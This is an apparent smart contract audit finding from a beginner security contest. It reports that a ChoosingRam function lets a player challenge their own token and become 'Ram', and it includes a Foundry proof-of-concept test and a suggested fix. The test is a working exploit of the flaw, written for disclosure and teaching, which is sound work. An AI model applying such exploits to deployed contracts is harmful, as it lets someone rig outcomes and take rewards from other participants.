Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

Participants can challenge themselves thus breaking the random logic of the challenges

Summary

The ChoosingRam contract provides a function increaseValuesOfParticipants which "allows users to increase their values (or characteristics) and become Ram for the event". This function takes the token ids of the challenger and any other participants. Based on the random logic it selects to increase the characterics of one of them. However, it allows both token ids to be equal which allows users to challenge themselves and eliminates the random element.

Vulnerability Details

The ChoosingRam::increaseValuesOfParticipants takes two parameters uint256 tokenIdOfChallenger and uint256 tokenIdOfAnyPerticipent which are supposed to be different and also for a different participants but this is never checked in the code. Next, based on the random number calculated in Line 51 the characteristics of one of the two tokens are increased. The missing check allows the users to challenge themselves, which will always increase their own characterics and eventually to become Ram.

Proof of Concept

The following test demonstrates the vulnerability.

function test_usersCanChallengeThemselves() public {
Dussehra dussehra;
RamNFT ramNFT;
ChoosingRam choosingRam;
address organiser = makeAddr("organiser");
address player1 = makeAddr("player1");
vm.startPrank(organiser);
ramNFT = new RamNFT();
choosingRam = new ChoosingRam(address(ramNFT));
dussehra = new Dussehra(1 ether, address(choosingRam), address(ramNFT));
ramNFT.setChoosingRamContract(address(choosingRam));
vm.stopPrank();
vm.startPrank(player1);
vm.deal(player1, 1 ether);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.warp(2);
// increaseValuesOfParticipants can be executed with two equal ids
choosingRam.increaseValuesOfParticipants(0, 0);
// after the execution it is guaranteed that the
// characteristics of the token of our user are increased
vm.warp(3);
choosingRam.increaseValuesOfParticipants(0, 0);
vm.warp(4);
choosingRam.increaseValuesOfParticipants(0, 0);
vm.warp(5);
choosingRam.increaseValuesOfParticipants(0, 0);
vm.warp(6);
choosingRam.increaseValuesOfParticipants(0, 0);
vm.stopPrank();
// after five executions the user became Ram
assertEq(choosingRam.selectedRam(), player1);
}

Impact

The user who is aware of this vulnerability can become Ram and get the reward. This breaks the logic of the contract.

Tools Used

Manual review

Recommendations

Add the missing check in ChoosingRam.sol and revert if the two token are for the same participant. The function will revert if the ram address stored in the token of the challenger is not equal to msg.sender. So, we only need to add a check if the address of the ram stored in the token of the challenged participant is different from msg.sender. This will, also elimimates the problem with execution of the function with two equal token ids. See the code below.

+error ChoosingRam__CannotChallengeYourself();
function increaseValuesOfParticipants(
uint256 tokenIdOfChallenger,
uint256 tokenIdOfAnyPerticipent
) public RamIsNotSelected {
+ if (ramNFT.getCharacteristics(tokenIdOfAnyPerticipent).ram == msg.sender) {
+ revert ChoosingRam__CannotChallengeYourself();
+ }
...
}
Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Challenge themselves

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.